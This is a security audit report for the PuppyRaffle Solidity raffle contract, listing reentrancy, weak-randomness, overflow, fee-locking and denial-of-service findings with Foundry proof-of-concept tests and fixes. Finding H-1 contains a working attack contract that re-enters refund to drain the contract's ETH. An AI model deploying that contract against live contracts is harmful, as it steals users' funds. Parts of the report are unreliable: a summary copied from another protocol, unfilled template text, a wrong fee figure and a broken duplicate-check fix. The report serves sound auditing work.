Protocol Audit Report

Version 1.0

github.com/devalmagno

October 9, 2024

PuppyRaffle Audit Report

devalmagno

October 3, 2024

Prepared by: Lucio Lead Security Researcher:

- devalmagno

Table of Contents

Protocol Summary

PasswordStore is a protocol dedicated to storage and retrieval of a user's passwords. The protocol is designed to be used by a single user, and is not designed to be used by multiple users. Only the owner should be able to set and access this password.

Disclaimer

The Devalmagno team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

** The findings described in this document correspond the following commit hash: **

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player: Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Add some notes about how the audit went, types of things you found, etc.

We spent X hours with Z auditors using Y tools. etc.

Issues found

Security	Number of issues found
High	5
Medium	2
Low	1
Gas	3
Info	7
Total	18

Findings

High

[H-1] Reentracy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`:

```
1      function test_reentracyRefund() public {
2          // Let's enter 15 players
```

```
        uint256 playersNum = 15;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        console.log("starting puppyRaffle contract balance: ", address(
            puppyRaffle).balance);

        // Let's attack
        hoax(attacker, entranceFee);
        console.log("starting attacker balance: ", attacker.balance);
        attack.attack{value: entranceFee}();
        uint256 expectedBalance = entranceFee * playersNum +
            entranceFee;

        // Let's see how much ETH we have now
        console.log("ending puppyRaffle contract balance: ", address(
            puppyRaffle).balance);
        console.log("ending attacker balance: ", attacker.balance);
        assertEq(attacker.balance, expectedBalance);
    }
```

And this contract as well.

```
contract AttackPuppyRaffle {
    address payable private immutable i_puppyRaffle;
    address payable private immutable i_owner;

    uint256 private s_index;

    constructor(address _target, address _owner) {
        i_puppyRaffle = payable(_target);
        i_owner = payable(_owner);
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        uint256 entranceFee = _getEntranceFee();
        _enterRaffle(entranceFee, players);
```

```
25          s_index = _getIndex();
26          _refund(s_index);
27      }
28
29      function _getEntranceFee() internal returns (uint256 entranceFee) {
30          (, bytes memory data) = i_puppyRaffle.call(abi.
                encodeWithSignature("entranceFee()"));
31          entranceFee = abi.decode(data, (uint256));
32      }
33
34      function _getIndex() internal returns (uint256 index) {
35          (, bytes memory data) =
36              i_puppyRaffle.call(abi.encodeWithSignature("
                    getActivePlayerIndex(address)", address(this)));
37          index = abi.decode(data, (uint256));
38      }
39
40      function _enterRaffle(uint256 _entranceFee, address[] memory
            _players) internal {
41          (bool success,) =
42              i_puppyRaffle.call{value: _entranceFee}(abi.
                    encodeWithSignature("enterRaffle(address[])", _players))
                    ;
43          require(success, "AttackPuppyRaffle: Failed to enter raffle");
44      }
45
46      function _refund(uint256 index) internal {
47          (bool success,) = i_puppyRaffle.call(abi.encodeWithSignature("
                refund(uint256)", index));
48          require(success, "AttackPuppyRaffle: Failed to refund");
49      }
50
51      function _stealMoney() internal {
52          if (i_puppyRaffle.balance > 0) {
53              _refund(s_index);
54          } else {
55              (bool success,) = i_owner.call{value: address(this).balance
                    }("");
56              require(success, "AttackPuppyRaffle: Failed to send funds
                    to owner");
57          }
58      }
59  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
```

```
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8
9           payable(msg.sender).sendValue(entranceFee);
10
11  -       players[playerIndex] = address(0);
12  -       emit RaffleRefunded(playerAddress);
13      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allow users to influence or predict the winner.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund`if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Weak randomness in `PuppyRaffle::selectWinner` allow users to influence or predict the winning puppy.

Description: Hashing `msg.sender`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winning puppy themselves.

Impact: Any user can select the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-4] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test file

1. We conclude a raffle of 100 players
2. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 0 + 2000000000000000000;
// fee:          2000000000000000000 (2e19)
// max uint64:  18446744073709551615 (1.844e19)
// and this will overflow!
totalFees = 1553255926290448384;
// result:       1553255926290448384 (1.553e18)
```

```
function test_totalFeesOverflow() public {
    // Let's enter 100 players
    uint256 playersNum = 100;
    uint256 expectedTotalFees = ((entranceFee * playersNum) * 20) /
        100;
    // 2000000000000000000
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    uint256 endingTotalFees = uint256(puppyRaffle.totalFees());
    console.log("expected total fees: ", expectedTotalFees);
    console.log("ending total fees: ", endingTotalFees);

    assertGt(expectedTotalFees, endingTotalFees);
}
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

[H-5] Mishandling of ETH during fee withdrawal can make the fees to remain locked and unavailable for withdrawal.

Description: The `PuppyRaffle::withdrawFees` function requires that the `PuppyRaffle` balance must be equal to `totalFees` in order to withdraw fees. This can be easily exploited by a player, as the balance includes both the players' funds and the fees, making it difficult or impossible to withdraw

the the fees.

```
1       /// @notice this function will withdraw the fees to the feeAddress
2       function withdrawFees() external {
3   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
4           uint256 feesToWithdraw = totalFees;
5           totalFees = 0;
6
7           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
8           require(success, "PuppyRaffle: Failed to withdraw fees");
9       }
```

Impact: This could be exploited, causing the fees to remain locked and the funds unavailable for withdrawal.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test file

1. We conclude a raffle with 100 players
2. One player starts a new raffle by entering it
3. The owner tries to `withdrawFees`, but it reverts with `PuppyRaffle: There are currently players active!`.

```
1   function test_withdrawFeesRevertsDueToMishandlingOfEth() public {
2       uint256 playersNum = 100;
3       address[] memory players = new address[](100);
4       for (uint256 i = 0; i < playersNum; i++) {
5           players[i] = address(i);
6       }
7       puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
8
9       vm.warp(block.timestamp + duration + 1);
10      vm.roll(block.number + 1);
11
12      puppyRaffle.selectWinner();
13
14      address[] memory playersTwo = new address[](1);
15      playersTwo[0] = address(1);
16
17      puppyRaffle.enterRaffle{value: entranceFee}(playersTwo);
18
19      vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
20      puppyRaffle.withdrawFees();
21  }
```

Recommended Mitigation:

Instead of checking if the contract's balance equals totalFees, ensure the check is whether there are sufficient funds available to cover the fees, excluding player funds.

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
2 +   require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
      Insufficient balance to withdraw fees!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incremeting gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players`array, is an additional check the loop will have to make.

```
1         // @audit DoS
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Proof of Concept: Add the following to the `PuppyRaffleTest.t.sol` test file

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252047 gas
- 2st 100 players: ~18068137 gas

This is more than 3x more expensensive for the second 100 players.

Code

```
1     function test_denialOfService() public {
2         vm.txGasPrice(1);
3
4         // Let's enter 100 players
5         uint256 playersNum = 100;
6         address[] memory players = new address[](playersNum);
```

```
7           for (uint256 i = 0; i < playersNum; i++) {
8               players[i] = address(i);
9           }
10
11          // see how much gas it costs
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
14          uint256 gasEnd = gasleft();
15
16          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17
18          console.log("Gas cost of the first 100 players", gasUsedFirst);
19
20          // now for the 2nd 100 players
21          address[] memory playersTwo = new address[](playersNum);
22          for (uint256 i = 0; i < playersNum; i++) {
23              playersTwo[i] = address(i + playersNum);
24          }
25
26          // see how much gas it costs
27          uint256 gasStartSecond = gasleft();
28          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                playersTwo);
29          uint256 gasEndSecond = gasleft();
30
31          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
32
33          console.log("Gas cost of the 2nd 100 players", gasUsedSecond);
34
35          assert(gasUsedSecond > gasUsedFirst);
36      }
```

Recommended Mitigation: There a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uin256 id, and the mapping would be a player address mapped to the raffle Id.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public constant RAFFLE_ID = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
```

```
7           require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +           addressToRaffleId[newPlayers[i]] = RAFFLE_ID;
11          }
12
13  -       // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +           require(addressToRaffleId[newPlayers[i]] != RAFFLE_ID, "
    PuppyRaffle: Duplicate player");
17  +       }
18  -       for (uint256 i = 0; i < players.length - 1; i++) {
19  -           for (uint256 j = i + 1; j < players.length; j++) {
20  -               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21  -           }
22  -       }
23          emit RaffleEnter(newPlayers);
24      }
```

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or a receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: if a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easist recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1]: Unchaged state variables should be declared constant or immutable.

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Recommended Mitigation: Add the immutable or constant attribute to state variables that never change or are set only in the constructor.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] `Public` functions not used internally could be marked `external`.

Recommended Mitigation: Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

Instances:

- `PuppyRaffle::enterRaffle` should be `external`
- `PuppyRaffle::refund` should be `external`
- `PuppyRaffle::tokenURI` should be `external`

[G-3] Loop condition contains `state_variable.length` that could be cached outside.

Recommended Mitigation: Cache the lengths of storage arrays if they are used and not modified in for loops.

```
1 +   uint256 playerLength = players.length - 1;
2 -   for (uint256 i = 0; i < players.length - 1; i++) {
3 +   for (uint256 i = 0; i < playersLength; i++) {
```

Informational

[I-1] Solidity pragma should be specific, not wide

Description:

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

Recommended Mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Usign an outdated version of solidity is not recommended.

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

Recommended Mitigation: Consider using a newer version of Solidity like `0.8.18`.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables.

Description: Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 74

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 224

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

Description: It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

Recommended Mitigation:

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
```

[I-5] Use of "magic" numbers is discouraged

Description: It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Recommended Mitigation:

```
    uint256 public constant PRICE_POOL_PERCENTENGE = 80;
    uint256 public constant POOL_PRECISION = 100;
```

```
-    uint256 prizePool = (totalAmountCollected * 80) / 100;
-    uint256 fee = (totalAmountCollected * 20) / 100;
+    uint256 prizePool = (totalAmountCollected * PRICE_POOL_PERCENTENGE)
     / POOL_PRECISION;
+    uint256 fee = totalAmountCollected - prizePool;
```

[I-6] Events are missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 63

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 64

```
    event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 65

```
    event FeeAddressChanged(address newFeeAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-   function _isActivePlayer() internal view returns (bool) {
-       for (uint256 i = 0; i < players.length; i++) {
-           if (players[i] == msg.sender) {
-               return true;
-           }
-       }
-       return false;
-   }
```